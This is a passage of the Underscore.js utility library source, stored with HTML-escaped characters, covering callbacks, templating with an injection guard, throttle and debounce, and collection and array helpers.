  _$1.iteratee = iteratee;

  // The function we call internally to generate a callback. It invokes
  // `_.iteratee` if overridden, otherwise `baseIteratee`.
  function cb(value, context, argCount) {
    if (_$1.iteratee !== iteratee) return _$1.iteratee(value, context);
    return baseIteratee(value, context, argCount);
  }

  // Returns the results of applying the `iteratee` to each element of `obj`.
  // In contrast to `_.map` it returns an object.
  function mapObject(obj, iteratee, context) {
    iteratee = cb(iteratee, context);
    var _keys = keys(obj),
        length = _keys.length,
        results = {};
    for (var index = 0; index &lt; length; index++) {
      var currentKey = _keys[index];
      results[currentKey] = iteratee(obj[currentKey], currentKey, obj);
    }
    return results;
  }

  // Predicate-generating function. Often useful outside of Underscore.
  function noop(){}

  // Generates a function for a given object that returns a given property.
  function propertyOf(obj) {
    if (obj == null) return noop;
    return function(path) {
      return get(obj, path);
    };
  }

  // Run a function **n** times.
  function times(n, iteratee, context) {
    var accum = Array(Math.max(0, n));
    iteratee = optimizeCb(iteratee, context, 1);
    for (var i = 0; i &lt; n; i++) accum[i] = iteratee(i);
    return accum;
  }

  // Return a random integer between `min` and `max` (inclusive).
  function random(min, max) {
    if (max == null) {
      max = min;
      min = 0;
    }
    return min + Math.floor(Math.random() * (max - min + 1));
  }

  // A (possibly faster) way to get the current timestamp as an integer.
  var now = Date.now || function() {
    return new Date().getTime();
  };

  // Internal helper to generate functions for escaping and unescaping strings
  // to/from HTML interpolation.
  function createEscaper(map) {
    var escaper = function(match) {
      return map[match];
    };
    // Regexes for identifying a key that needs to be escaped.
    var source = &#039;(?:&#039; + keys(map).join(&#039;|&#039;) + &#039;)&#039;;
    var testRegexp = RegExp(source);
    var replaceRegexp = RegExp(source, &#039;g&#039;);
    return function(string) {
      string = string == null ? &#039;&#039; : &#039;&#039; + string;
      return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
    };
  }

  // Internal list of HTML entities for escaping.
  var escapeMap = {
    &#039;&amp;&#039;: &#039;&amp;amp;&#039;,
    &#039;&lt;&#039;: &#039;&amp;lt;&#039;,
    &#039;&gt;&#039;: &#039;&amp;gt;&#039;,
    &#039;&quot;&#039;: &#039;&amp;quot;&#039;,
    &quot;&#039;&quot;: &#039;&amp;#x27;&#039;,
    &#039;`&#039;: &#039;&amp;#x60;&#039;
  };

  // Function for escaping strings to HTML interpolation.
  var _escape = createEscaper(escapeMap);

  // Internal list of HTML entities for unescaping.
  var unescapeMap = invert(escapeMap);

  // Function for unescaping strings from HTML interpolation.
  var _unescape = createEscaper(unescapeMap);

  // By default, Underscore uses ERB-style template delimiters. Change the
  // following template settings to use alternative delimiters.
  var templateSettings = _$1.templateSettings = {
    evaluate: /&lt;%([\s\S]+?)%&gt;/g,
    interpolate: /&lt;%=([\s\S]+?)%&gt;/g,
    escape: /&lt;%-([\s\S]+?)%&gt;/g
  };

  // When customizing `_.templateSettings`, if you don&#039;t want to define an
  // interpolation, evaluation or escaping regex, we need one that is
  // guaranteed not to match.
  var noMatch = /(.)^/;

  // Certain characters need to be escaped so that they can be put into a
  // string literal.
  var escapes = {
    &quot;&#039;&quot;: &quot;&#039;&quot;,
    &#039;\\&#039;: &#039;\\&#039;,
    &#039;\r&#039;: &#039;r&#039;,
    &#039;\n&#039;: &#039;n&#039;,
    &#039;\u2028&#039;: &#039;u2028&#039;,
    &#039;\u2029&#039;: &#039;u2029&#039;
  };

  var escapeRegExp = /\\|&#039;|\r|\n|\u2028|\u2029/g;

  function escapeChar(match) {
    return &#039;\\&#039; + escapes[match];
  }

  // In order to prevent third-party code injection through
  // `_.templateSettings.variable`, we test it against the following regular
  // expression. It is intentionally a bit more liberal than just matching valid
  // identifiers, but still prevents possible loopholes through defaults or
  // destructuring assignment.
  var bareIdentifier = /^\s*(\w|\$)+\s*$/;

  // JavaScript micro-templating, similar to John Resig&#039;s implementation.
  // Underscore templating handles arbitrary delimiters, preserves whitespace,
  // and correctly escapes quotes within interpolated code.
  // NB: `oldSettings` only exists for backwards compatibility.
  function template(text, settings, oldSettings) {
    if (!settings &amp;&amp; oldSettings) settings = oldSettings;
    settings = defaults({}, settings, _$1.templateSettings);

    // Combine delimiters into one regular expression via alternation.
    var matcher = RegExp([
      (settings.escape || noMatch).source,
      (settings.interpolate || noMatch).source,
      (settings.evaluate || noMatch).source
    ].join(&#039;|&#039;) + &#039;|$&#039;, &#039;g&#039;);

    // Compile the template source, escaping string literals appropriately.
    var index = 0;
    var source = &quot;__p+=&#039;&quot;;
    text.replace(matcher, function(match, escape, interpolate, evaluate, offset) {
      source += text.slice(index, offset).replace(escapeRegExp, escapeChar);
      index = offset + match.length;

      if (escape) {
        source += &quot;&#039;+\n((__t=(&quot; + escape + &quot;))==null?&#039;&#039;:_.escape(__t))+\n&#039;&quot;;
      } else if (interpolate) {
        source += &quot;&#039;+\n((__t=(&quot; + interpolate + &quot;))==null?&#039;&#039;:__t)+\n&#039;&quot;;
      } else if (evaluate) {
        source += &quot;&#039;;\n&quot; + evaluate + &quot;\n__p+=&#039;&quot;;
      }

      // Adobe VMs need the match returned to produce the correct offset.
      return match;
    });
    source += &quot;&#039;;\n&quot;;

    var argument = settings.variable;
    if (argument) {
      // Insure against third-party code injection. (CVE-2021-23358)
      if (!bareIdentifier.test(argument)) throw new Error(
        &#039;variable is not a bare identifier: &#039; + argument
      );
    } else {
      // If a variable is not specified, place data values in local scope.
      source = &#039;with(obj||{}){\n&#039; + source + &#039;}\n&#039;;
      argument = &#039;obj&#039;;
    }

    source = &quot;var __t,__p=&#039;&#039;,__j=Array.prototype.join,&quot; +
      &quot;print=function(){__p+=__j.call(arguments,&#039;&#039;);};\n&quot; +
      source + &#039;return __p;\n&#039;;

    var render;
    try {
      render = new Function(argument, &#039;_&#039;, source);
    } catch (e) {
      e.source = source;
      throw e;
    }

    var template = function(data) {
      return render.call(this, data, _$1);
    };

    // Provide the compiled source as a convenience for precompilation.
    template.source = &#039;function(&#039; + argument + &#039;){\n&#039; + source + &#039;}&#039;;

    return template;
  }

  // Traverses the children of `obj` along `path`. If a child is a function, it
  // is invoked with its parent as context. Returns the value of the final
  // child, or `fallback` if any child is undefined.
  function result(obj, path, fallback) {
    path = toPath(path);
    var length = path.length;
    if (!length) {
      return isFunction$1(fallback) ? fallback.call(obj) : fallback;
    }
    for (var i = 0; i &lt; length; i++) {
      var prop = obj == null ? void 0 : obj[path[i]];
      if (prop === void 0) {
        prop = fallback;
        i = length; // Ensure we don&#039;t continue iterating.
      }
      obj = isFunction$1(prop) ? prop.call(obj) : prop;
    }
    return obj;
  }

  // Generate a unique integer id (unique within the entire client session).
  // Useful for temporary DOM ids.
  var idCounter = 0;
  function uniqueId(prefix) {
    var id = ++idCounter + &#039;&#039;;
    return prefix ? prefix + id : id;
  }

  // Start chaining a wrapped Underscore object.
  function chain(obj) {
    var instance = _$1(obj);
    instance._chain = true;
    return instance;
  }

  // Internal function to execute `sourceFunc` bound to `context` with optional
  // `args`. Determines whether to execute a function as a constructor or as a
  // normal function.
  function executeBound(sourceFunc, boundFunc, context, callingContext, args) {
    if (!(callingContext instanceof boundFunc)) return sourceFunc.apply(context, args);
    var self = baseCreate(sourceFunc.prototype);
    var result = sourceFunc.apply(self, args);
    if (isObject(result)) return result;
    return self;
  }

  // Partially apply a function by creating a version that has had some of its
  // arguments pre-filled, without changing its dynamic `this` context. `_` acts
  // as a placeholder by default, allowing any combination of arguments to be
  // pre-filled. Set `_.partial.placeholder` for a custom placeholder argument.
  var partial = restArguments(function(func, boundArgs) {
    var placeholder = partial.placeholder;
    var bound = function() {
      var position = 0, length = boundArgs.length;
      var args = Array(length);
      for (var i = 0; i &lt; length; i++) {
        args[i] = boundArgs[i] === placeholder ? arguments[position++] : boundArgs[i];
      }
      while (position &lt; arguments.length) args.push(arguments[position++]);
      return executeBound(func, bound, this, this, args);
    };
    return bound;
  });

  partial.placeholder = _$1;

  // Create a function bound to a given object (assigning `this`, and arguments,
  // optionally).
  var bind = restArguments(function(func, context, args) {
    if (!isFunction$1(func)) throw new TypeError(&#039;Bind must be called on a function&#039;);
    var bound = restArguments(function(callArgs) {
      return executeBound(func, bound, context, this, args.concat(callArgs));
    });
    return bound;
  });

  // Internal helper for collection methods to determine whether a collection
  // should be iterated as an array or as an object.
  // Related: https://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength
  // Avoids a very nasty iOS 8 JIT bug on ARM-64. #2094
  var isArrayLike = createSizePropertyCheck(getLength);

  // Internal implementation of a recursive `flatten` function.
  function flatten$1(input, depth, strict) {
    if (!depth &amp;&amp; depth !== 0) depth = Infinity;
    var output = [], idx = 0, i = 0, length = getLength(input) || 0, stack = [];
    while (true) {
      if (i &gt;= length) {
        if (!stack.length) break;
        var frame = stack.pop();
        i = frame.i;
        input = frame.v;
        length = getLength(input);
        continue;
      }
      var value = input[i++];
      if (stack.length &gt;= depth) {
        output[idx++] = value;
      } else if (isArrayLike(value) &amp;&amp; (isArray(value) || isArguments$1(value))) {
        // Flatten current level of array or arguments object.
        stack.push({i: i, v: input});
        i = 0;
        input = value;
        length = getLength(input);
      } else if (!strict) {
        output[idx++] = value;
      }
    }
    return output;
  }

  // Bind a number of an object&#039;s methods to that object. Remaining arguments
  // are the method names to be bound. Useful for ensuring that all callbacks
  // defined on an object belong to it.
  var bindAll = restArguments(function(obj, keys) {
    keys = flatten$1(keys, false, false);
    var index = keys.length;
    if (index &lt; 1) throw new Error(&#039;bindAll must be passed function names&#039;);
    while (index--) {
      var key = keys[index];
      obj[key] = bind(obj[key], obj);
    }
    return obj;
  });

  // Memoize an expensive function by storing its results.
  function memoize(func, hasher) {
    var memoize = function(key) {
      var cache = memoize.cache;
      var address = &#039;&#039; + (hasher ? hasher.apply(this, arguments) : key);
      if (!has$1(cache, address)) cache[address] = func.apply(this, arguments);
      return cache[address];
    };
    memoize.cache = {};
    return memoize;
  }

  // Delays a function for the given number of milliseconds, and then calls
  // it with the arguments supplied.
  var delay = restArguments(function(func, wait, args) {
    return setTimeout(function() {
      return func.apply(null, args);
    }, wait);
  });

  // Defers a function, scheduling it to run after the current call stack has
  // cleared.
  var defer = partial(delay, _$1, 1);

  // Returns a function, that, when invoked, will only be triggered at most once
  // during a given window of time. Normally, the throttled function will run
  // as much as it can, without ever going more than once per `wait` duration;
  // but if you&#039;d like to disable the execution on the leading edge, pass
  // `{leading: false}`. To disable execution on the trailing edge, ditto.
  function throttle(func, wait, options) {
    var timeout, context, args, result;
    var previous = 0;
    if (!options) options = {};

    var later = function() {
      previous = options.leading === false ? 0 : now();
      timeout = null;
      result = func.apply(context, args);
      if (!timeout) context = args = null;
    };

    var throttled = function() {
      var _now = now();
      if (!previous &amp;&amp; options.leading === false) previous = _now;
      var remaining = wait - (_now - previous);
      context = this;
      args = arguments;
      if (remaining &lt;= 0 || remaining &gt; wait) {
        if (timeout) {
          clearTimeout(timeout);
          timeout = null;
        }
        previous = _now;
        result = func.apply(context, args);
        if (!timeout) context = args = null;
      } else if (!timeout &amp;&amp; options.trailing !== false) {
        timeout = setTimeout(later, remaining);
      }
      return result;
    };

    throttled.cancel = function() {
      clearTimeout(timeout);
      previous = 0;
      timeout = context = args = null;
    };

    return throttled;
  }

  // When a sequence of calls of the returned function ends, the argument
  // function is triggered. The end of a sequence is defined by the `wait`
  // parameter. If `immediate` is passed, the argument function will be
  // triggered at the beginning of the sequence instead of at the end.
  function debounce(func, wait, immediate) {
    var timeout, previous, args, result, context;

    var later = function() {
      var passed = now() - previous;
      if (wait &gt; passed) {
        timeout = setTimeout(later, wait - passed);
      } else {
        timeout = null;
        if (!immediate) result = func.apply(context, args);
        // This check is needed because `func` can recursively invoke `debounced`.
        if (!timeout) args = context = null;
      }
    };

    var debounced = restArguments(function(_args) {
      context = this;
      args = _args;
      previous = now();
      if (!timeout) {
        timeout = setTimeout(later, wait);
        if (immediate) result = func.apply(context, args);
      }
      return result;
    });

    debounced.cancel = function() {
      clearTimeout(timeout);
      timeout = args = context = null;
    };

    return debounced;
  }

  // Returns the first function passed as an argument to the second,
  // allowing you to adjust arguments, run code before and after, and
  // conditionally execute the original function.
  function wrap(func, wrapper) {
    return partial(wrapper, func);
  }

  // Returns a negated version of the passed-in predicate.
  function negate(predicate) {
    return function() {
      return !predicate.apply(this, arguments);
    };
  }

  // Returns a function that is the composition of a list of functions, each
  // consuming the return value of the function that follows.
  function compose() {
    var args = arguments;
    var start = args.length - 1;
    return function() {
      var i = start;
      var result = args[start].apply(this, arguments);
      while (i--) result = args[i].call(this, result);
      return result;
    };
  }

  // Returns a function that will only be executed on and after the Nth call.
  function after(times, func) {
    return function() {
      if (--times &lt; 1) {
        return func.apply(this, arguments);
      }
    };
  }

  // Returns a function that will only be executed up to (but not including) the
  // Nth call.
  function before(times, func) {
    var memo;
    return function() {
      if (--times &gt; 0) {
        memo = func.apply(this, arguments);
      }
      if (times &lt;= 1) func = null;
      return memo;
    };
  }

  // Returns a function that will be executed at most one time, no matter how
  // often you call it. Useful for lazy initialization.
  var once = partial(before, 2);

  // Returns the first key on an object that passes a truth test.
  function findKey(obj, predicate, context) {
    predicate = cb(predicate, context);
    var _keys = keys(obj), key;
    for (var i = 0, length = _keys.length; i &lt; length; i++) {
      key = _keys[i];
      if (predicate(obj[key], key, obj)) return key;
    }
  }

  // Internal function to generate `_.findIndex` and `_.findLastIndex`.
  function createPredicateIndexFinder(dir) {
    return function(array, predicate, context) {
      predicate = cb(predicate, context);
      var length = getLength(array);
      var index = dir &gt; 0 ? 0 : length - 1;
      for (; index &gt;= 0 &amp;&amp; index &lt; length; index += dir) {
        if (predicate(array[index], index, array)) return index;
      }
      return -1;
    };
  }

  // Returns the first index on an array-like that passes a truth test.
  var findIndex = createPredicateIndexFinder(1);

  // Returns the last index on an array-like that passes a truth test.
  var findLastIndex = createPredicateIndexFinder(-1);

  // Use a comparator function to figure out the smallest index at which
  // an object should be inserted so as to maintain order. Uses binary search.
  function sortedIndex(array, obj, iteratee, context) {
    iteratee = cb(iteratee, context, 1);
    var value = iteratee(obj);
    var low = 0, high = getLength(array);
    while (low &lt; high) {
      var mid = Math.floor((low + high) / 2);
      if (iteratee(array[mid]) &lt; value) low = mid + 1; else high = mid;
    }
    return low;
  }

  // Internal function to generate the `_.indexOf` and `_.lastIndexOf` functions.
  function createIndexFinder(dir, predicateFind, sortedIndex) {
    return function(array, item, idx) {
      var i = 0, length = getLength(array);
      if (typeof idx == &#039;number&#039;) {
        if (dir &gt; 0) {
          i = idx &gt;= 0 ? idx : Math.max(idx + length, i);
        } else {
          length = idx &gt;= 0 ? Math.min(idx + 1, length) : idx + length + 1;
        }
      } else if (sortedIndex &amp;&amp; idx &amp;&amp; length) {
        idx = sortedIndex(array, item);
        return array[idx] === item ? idx : -1;
      }
      if (item !== item) {
        idx = predicateFind(slice.call(array, i, length), isNaN$1);
        return idx &gt;= 0 ? idx + i : -1;
      }
      for (idx = dir &gt; 0 ? i : length - 1; idx &gt;= 0 &amp;&amp; idx &lt; length; idx += dir) {
        if (array[idx] === item) return idx;
      }
      return -1;
    };
  }

  // Return the position of the first occurrence of an item in an array,
  // or -1 if the item is not included in the array.
  // If the array is large and already in sort order, pass `true`
  // for **isSorted** to use binary search.
  var indexOf = createIndexFinder(1, findIndex, sortedIndex);

  // Return the position of the last occurrence of an item in an array,
  // or -1 if the item is not included in the array.
  var lastIndexOf = createIndexFinder(-1, findLastIndex);

  // Return the first value which passes a truth test.
  function find(obj, predicate, context) {
    var keyFinder = isArrayLike(obj) ? findIndex : findKey;
    var key = keyFinder(obj, predicate, context);
    if (key !== void 0 &amp;&amp; key !== -1) return obj[key];
  }

  // Convenience version of a common use case of `_.find`: getting the first
  // object containing specific `key:value` pairs.
  function findWhere(obj, attrs) {
    return find(obj, matcher(attrs));
  }

  // The cornerstone for collection functions, an `each`
  // implementation, aka `forEach`.
  // Handles raw objects in addition to array-likes. Treats all
  // sparse array-likes as if they were dense.
  function each(obj, iteratee, context) {
    iteratee = optimizeCb(iteratee, context);
    var i, length;
    if (isArrayLike(obj)) {
      for (i = 0, length = obj.length; i &lt; length; i++) {
        iteratee(obj[i], i, obj);
      }
    } else {
      var _keys = keys(obj);
      for (i = 0, length = _keys.length; i &lt; length; i++) {
        iteratee(obj[_keys[i]], _keys[i], obj);
      }
    }
    return obj;
  }

  // Return the results of applying the iteratee to each element.
  function map(obj, iteratee, context) {
    iteratee = cb(iteratee, context);
    var _keys = !isArrayLike(obj) &amp;&amp; keys(obj),
        length = (_keys || obj).length,
        results = Array(length);
    for (var index = 0; index &lt; length; index++) {
      var currentKey = _keys ? _keys[index] : index;
      results[index] = iteratee(obj[currentKey], currentKey, obj);
    }
    return results;
  }

  // Internal helper to create a reducing function, iterating left or right.
  function createReduce(dir) {
    // Wrap code that reassigns argument variables in a separate function than
    // the one that accesses `arguments.length` to avoid a perf hit. (#1991)
    var reducer = function(obj, iteratee, memo, initial) {
      var _keys = !isArrayLike(obj) &amp;&amp; keys(obj),
          length = (_keys || obj).length,
          index = dir &gt; 0 ? 0 : length - 1;
      if (!initial) {
        memo = obj[_keys ? _keys[index] : index];
        index += dir;
      }
      for (; index &gt;= 0 &amp;&amp; index &lt; length; index += dir) {
        var currentKey = _keys ? _keys[index] : index;
        memo = iteratee(memo, obj[currentKey], currentKey, obj);
      }
      return memo;
    };

    return function(obj, iteratee, memo, context) {
      var initial = arguments.length &gt;= 3;
      return reducer(obj, optimizeCb(iteratee, context, 4), memo, initial);
    };
  }

  // **Reduce** builds up a single result from a list of values, aka `inject`,
  // or `foldl`.
  var reduce = createReduce(1);

  // The right-associative version of reduce, also known as `foldr`.
  var reduceRight = createReduce(-1);

  // Return all the elements that pass a truth test.
  function filter(obj, predicate, context) {
    var results = [];
    predicate = cb(predicate, context);
    each(obj, function(value, index, list) {
      if (predicate(value, index, list)) results.push(value);
    });
    return results;
  }

  // Return all the elements for which a truth test fails.
  function reject(obj, predicate, context) {
    return filter(obj, negate(cb(predicate)), context);
  }

  // Determine whether all of the elements pass a truth test.
  function every(obj, predicate, context) {
    predicate = cb(predicate, context);
    var _keys = !isArrayLike(obj) &amp;&amp; keys(obj),
        length = (_keys || obj).length;
    for (var index = 0; index &lt; length; index++) {
      var currentKey = _keys ? _keys[index] : index;
      if (!predicate(obj[currentKey], currentKey, obj)) return false;
    }
    return true;
  }

  // Determine if at least one element in the object passes a truth test.
  function some(obj, predicate, context) {
    predicate = cb(predicate, context);
    var _keys = !isArrayLike(obj) &amp;&amp; keys(obj),
        length = (_keys || obj).length;
    for (var index = 0; index &lt; length; index++) {
      var currentKey = _keys ? _keys[index] : index;
      if (predicate(obj[currentKey], currentKey, obj)) return true;
    }
    return false;
  }

  // Determine if the array or object contains a given item (using `===`).
  function contains(obj, item, fromIndex, guard) {
    if (!isArrayLike(obj)) obj = values(obj);
    if (typeof fromIndex != &#039;number&#039; || guard) fromIndex = 0;
    return indexOf(obj, item, fromIndex) &gt;= 0;
  }

  // Invoke a method (with arguments) on every item in a collection.
  var invoke = restArguments(function(obj, path, args) {
    var contextPath, func;
    if (isFunction$1(path)) {
      func = path;
    } else {
      path = toPath(path);
      contextPath = path.slice(0, -1);
      path = path[path.length - 1];
    }
    return map(obj, function(context) {
      var method = func;
      if (!method) {
        if (contextPath &amp;&amp; contextPath.length) {
          context = deepGet(context, contextPath);
        }
        if (context == null) return void 0;
        method = context[path];
      }
      return method == null ? method : method.apply(context, args);
    });
  });

  // Convenience version of a common use case of `_.map`: fetching a property.
  function pluck(obj, key) {
    return map(obj, property(key));
  }

  // Convenience version of a common use case of `_.filter`: selecting only
  // objects containing specific `key:value` pairs.
  function where(obj, attrs) {
    return filter(obj, matcher(attrs));
  }

  // Return the maximum element (or element-based computation).
  function max(obj, iteratee, context) {
    var result = -Infinity, lastComputed = -Infinity,
        value, computed;
    if (iteratee == null || (typeof iteratee == &#039;number&#039; &amp;&amp; typeof obj[0] != &#039;object&#039; &amp;&amp; obj != null)) {
      obj = isArrayLike(obj) ? obj : values(obj);
      for (var i = 0, length = obj.length; i &lt; length; i++) {
        value = obj[i];
        if (value != null &amp;&amp; value &gt; result) {
          result = value;
        }
      }
    } else {
      iteratee = cb(iteratee, context);
      each(obj, function(v, index, list) {
        computed = iteratee(v, index, list);
        if (computed &gt; lastComputed || (computed === -Infinity &amp;&amp; result === -Infinity)) {
          result = v;
          lastComputed = computed;
        }
      });
    }
    return result;
  }

  // Return the minimum element (or element-based computation).
  function min(obj, iteratee, context) {
    var result = Infinity, lastComputed = Infinity,
        value, computed;
    if (iteratee == null || (typeof iteratee == &#039;number&#039; &amp;&amp; typeof obj[0] != &#039;object&#039; &amp;&amp; obj != null)) {
      obj = isArrayLike(obj) ? obj : values(obj);
      for (var i = 0, length = obj.length; i &lt; length; i++) {
        value = obj[i];
        if (value != null &amp;&amp; value &lt; result) {
          result = value;
        }
      }
    } else {
      iteratee = cb(iteratee, context);
      each(obj, function(v, index, list) {
        computed = iteratee(v, index, list);
        if (computed &lt; lastComputed || (computed === Infinity &amp;&amp; result === Infinity)) {
          result = v;
          lastComputed = computed;
        }
      });
    }
    return result;
  }

  // Safely create a real, live array from anything iterable.
  var reStrSymbol = /[^\ud800-\udfff]|[\ud800-\udbff][\udc00-\udfff]|[\ud800-\udfff]/g;
  function toArray(obj) {
    if (!obj) return [];
    if (isArray(obj)) return slice.call(obj);
    if (isString(obj)) {
      // Keep surrogate pair characters together.
      return obj.match(reStrSymbol);
    }
    if (isArrayLike(obj)) return map(obj, identity);
    return values(obj);
  }

  // Sample **n** random values from a collection using the modern version of the
  // [Fisher-Yates shuffle](https://en.wikipedia.org/wiki/Fisher–Yates_shuffle).
  // If **n** is not specified, returns a single random element.
  // The internal `guard` argument allows it to work with `_.map`.
  function sample(obj, n, guard) {
    if (n == null || guard) {
      if (!isArrayLike(obj)) obj = values(obj);
      return obj[random(obj.length - 1)];
    }
    var sample = toArray(obj);
    var length = getLength(sample);
    n = Math.max(Math.min(n, length), 0);
    var last = length - 1;
    for (var index = 0; index &lt; n; index++) {
      var rand = random(index, last);
      var temp = sample[index];
      sample[index] = sample[rand];
      sample[rand] = temp;
    }
    return sample.slice(0, n);
  }

  // Shuffle a collection.
  function shuffle(obj) {
    return sample(obj, Infinity);
  }

  // Sort the object&#039;s values by a criterion produced by an iteratee.
  function sortBy(obj, iteratee, context) {
    var index = 0;
    iteratee = cb(iteratee, context);
    return pluck(map(obj, function(value, key, list) {
      return {
        value: value,
        index: index++,
        criteria: iteratee(value, key, list)
      };
    }).sort(function(left, right) {
      var a = left.criteria;
      var b = right.criteria;
      if (a !== b) {
        if (a &gt; b || a === void 0) return 1;
        if (a &lt; b || b === void 0) return -1;
      }
      return left.index - right.index;
    }), &#039;value&#039;);
  }

  // An internal function used for aggregate &quot;group by&quot; operations.
  function group(behavior, partition) {
    return function(obj, iteratee, context) {
      var result = partition ? [[], []] : {};
      iteratee = cb(iteratee, context);
      each(obj, function(value, index) {
        var key = iteratee(value, index, obj);
        behavior(result, value, key);
      });
      return result;
    };
  }

  // Groups the object&#039;s values by a criterion. Pass either a string attribute
  // to group by, or a function that returns the criterion.
  var groupBy = group(function(result, value, key) {
    if (has$1(result, key)) result[key].push(value); else result[key] = [value];
  });

  // Indexes the object&#039;s values by a criterion, similar to `_.groupBy`, but for
  // when you know that your index values will be unique.
  var indexBy = group(function(result, value, key) {
    result[key] = value;
  });

  // Counts instances of an object that group by a certain criterion. Pass
  // either a string attribute to count by, or a function that returns the
  // criterion.
  var countBy = group(function(result, value, key) {
    if (has$1(result, key)) result[key]++; else result[key] = 1;
  });

  // Split a collection into two arrays: one whose elements all pass the given
  // truth test, and one whose elements all do not pass the truth test.
  var partition = group(function(result, value, pass) {
    result[pass ? 0 : 1].push(value);
  }, true);

  // Return the number of elements in a collection.
  function size(obj) {
    if (obj == null) return 0;
    return isArrayLike(obj) ? obj.length : keys(obj).length;
  }

  // Internal `_.pick` helper function to determine whether `key` is an enumerable
  // property name of `obj`.
  function keyInObj(value, key, obj) {
    return key in obj;
  }

  // Return a copy of the object only containing the allowed properties.
  var pick = restArguments(function(obj, keys) {
    var result = {}, iteratee = keys[0];
    if (obj == null) return result;
    if (isFunction$1(iteratee)) {
      if (keys.length &gt; 1) iteratee = optimizeCb(iteratee, keys[1]);
      keys = allKeys(obj);
    } else {
      iteratee = keyInObj;
      keys = flatten$1(keys, false, false);
      obj = Object(obj);
    }
    for (var i = 0, length = keys.length; i &lt; length; i++) {
      var key = keys[i];
      var value = obj[key];
      if (iteratee(value, key, obj)) result[key] = value;
    }
    return result;
  });

  // Return a copy of the object without the disallowed properties.
  var omit = restArguments(function(obj, keys) {
    var iteratee = keys[0], context;
    if (isFunction$1(iteratee)) {
      iteratee = negate(iteratee);
      if (keys.length &gt; 1) context = keys[1];
    } else {
      keys = map(flatten$1(keys, false, false), String);
      iteratee = function(value, key) {
        return !contains(keys, key);
      };
    }
    return pick(obj, iteratee, context);
  });

  // Returns everything but the last entry of the array. Especially useful on
  // the arguments object. Passing **n** will return all the values in
  // the array, excluding the last N.
  function initial(array, n, guard) {
    return slice.call(array, 0, Math.max(0, array.length - (n == null || guard ? 1 : n)));
  }

  // Get the first element of an array. Passing **n** will return the first N
  // values in the array. The **guard** check allows it to work with `_.map`.
  function first(array, n, guard) {
    if (array == null || array.length &lt; 1) return n == null || guard ? void 0 : [];
    if (n == null || guard) return array[0];
    return initial(array, array.length - n);
  }

  // Returns everything but the first entry of the `array`. Especially useful on
  // the `arguments` object. Passing an **n** will return the rest N values in the
  // `array`.
  function rest(array, n, guard) {
    return slice.call(array, n == null || guard ? 1 : n);
  }

  // Get the last element of an array. Passing **n** will return the last N
  // values in the array.
  function last(array, n, guard) {
    if (array == null || array.length &lt; 1) return n == null || guard ? void 0 : [];
    if (n == null || guard) return array[array.length - 1];
    return rest(array, Math.max(0, array.length - n));
  }

  // Trim out all falsy values from an array.
  function compact(array) {
    return filter(array, Boolean);
  }

  // Flatten out an array, either recursively (by default), or up to `depth`.
  // Passing `true` or `false` as `depth` means `1` or `Infinity`, respectively.
  function flatten(array, depth) {
    return flatten$1(array, depth, false);
  }

  // Take the difference between one array and a number of other arrays.
  // Only the elements present in just the first array will remain.
  var difference = restArguments(function(array, rest) {
    rest = flatten$1(rest, true, true);
    return filter(array, function(value){
      return !contains(rest, value);
    });
  });

  // Return a version of the array that does not contain the specified value(s).
  var without = restArguments(function(array, otherArrays) {
    return difference(array, otherArrays);
  });

  // Produce a duplicate-free version of the array. If the array has already
  // been sorted, you have the option of using a faster algorithm.
  // The faster algorithm will not work with an iteratee if the iteratee
  // is not a one-to-one function, so providing an iteratee will disable
  // the faster algorithm.
  function uniq(array, isSorted, iteratee, context) {
    if (!isBoolean(isSorted)) {
      context = iteratee;
      iteratee = isSorted;
      isSorted = false;
    }
    if (iteratee != null) iteratee = cb(iteratee, context);
    var result = [];
    var seen = [];
    for (var i = 0, length = getLength(array); i &lt; length; i++) {
      var value = array[i],
          computed = iteratee ? iteratee(value, i, array) : value;
      if (isSorted &amp;&amp; !iteratee) {
        if (!i || seen !== computed) result.push(value);
        seen = computed;
      } else if (iteratee) {
        if (!contains(seen, computed)) {
          seen.push(computed);
          result.push(value);
        }
      } else if (!contains(result, value)) {
        result.push(value);
      }
    }
    return result;
  }

  // Produce an array that contains the union: each distinct element from all of
  // the passed-in arrays.
  var union = restArguments(function(arrays) {
    return uniq(flatten$1(arrays, true, true));
  });

  // Produce an array that contains every item shared between all the
  // passed-in arrays.
  function intersection(array) {
    var result = [];
    var argsLength = arguments.length;
    for (var i = 0, length = getLength(array); i &lt; length; i++) {
      var item = array[i];
      if (contains(result, item)) continue;
      var j;
      for (j = 1; j &lt; argsLength; j++) {
        if (!contains(arguments[j], item)) break;
      }
      if (j === argsLength) result.push(item);
    }
    return result;
  }

  // Complement of zip. Unzip accepts an array of arrays and groups
  // each array&#039;s elements on shared indices.
  function unzip(array) {
    var length = (array &amp;&amp; max(array, getLength).length) || 0;
    var result = Array(length);

    for (var index = 0; index &lt; length; index++) {
      result[index] = pluck(array, index);
    }
    return result;
  }

  // Zip together multiple lists into a single array -- elements that share
  // an index go together.
  var zip = restArguments(unzip);

  // Converts lists into objects. Pass either a single array of `[key, value]`
  // pairs, or two parallel arrays of the same length -- one of keys, and one of
  // the corresponding values. Passing by pairs is the reverse of `_.pairs`.
  function object(list, values) {
    var result = {};
    for (var i = 0, length = getLength(list); i &lt; length; i++) {
      if (values) {
        result[list[i]] = values[i];
      } else {
        result[list[i][0]] = list[i][1];
      }
    }
    return result;
  }

  // Generate an integer Array containing an arithmetic progression. A port of
  // the native Python `range()` function. See
  // [the Python documentation](https://docs.python.org/library/functions.html#range).
  function range(start, stop, step) {
    if (stop == null) {
      stop = start || 0;
      start = 0;
    }
    if (!step) {
      step = stop &lt; start ? -1 : 1;
    }

    var length = Math.max(Math.ceil((stop - start) / step), 0);
    var range = Array(length);

    for (var idx = 0; idx &lt; length; idx++, start += step) {
      range[idx] = start;
    }

    return range;
  }

  // Chunk a single array into multiple arrays, each containing `count` or fewer
  // items.
  function chunk(array, count) {
    if (count == null || count &lt; 1) return [];
    var result = [];
    var i = 0, length = array.length;
    while (i &lt; length) {
      result.push(slice.call(array, i, i += count));
    }
    return result;
  }

  // Helper function to continue chaining intermediate results.
  function chainResult(instance, obj) {
    return instance._chain ? _$1(obj).chain() : obj;
  }

  // Add your own custom functions to the Underscore object.
  function mixin(obj) {
    each(functions(obj), function(name) {
      var func = _$1[name] = obj[name];
      _$1.prototype[name] = function() {
        var args = [this._wrapped];
        push.apply(args, arguments);
        return chainResult(this, func.apply(_$1, args));
      };
    });
    return _$1;
  }

  // Add all mutator `Array` functions to the wrapper.
